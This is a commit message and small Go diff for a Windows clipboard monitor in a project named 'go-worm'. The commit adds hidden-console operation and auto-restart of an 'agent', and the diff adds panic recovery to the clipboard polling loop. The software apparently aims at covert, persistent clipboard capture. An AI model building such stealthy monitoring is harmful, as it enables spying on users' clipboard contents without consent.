refactor(core): add headless run and auto-restart

- Run without console by default
- Log to file once console hidden
- Recover panics in background goroutines
- Restart agent after unexpected errors
- Use shared instance launch helper

lib/clipmon/monitor_windows.go

@@ -12,6 +12,8 @@ import (
 	"syscall"
 	"time"
 	"unsafe"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
 )
 
 const (
@@ -50,6 +52,7 @@ type bitmapInfoHeader struct {
 func startPlatform(w *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
 	go func() {
 		defer close(done)
+		defer helpers.RecoverLog("clipmon-poll")
 		pollClipboard(w, stop)
 	}()
 	return nil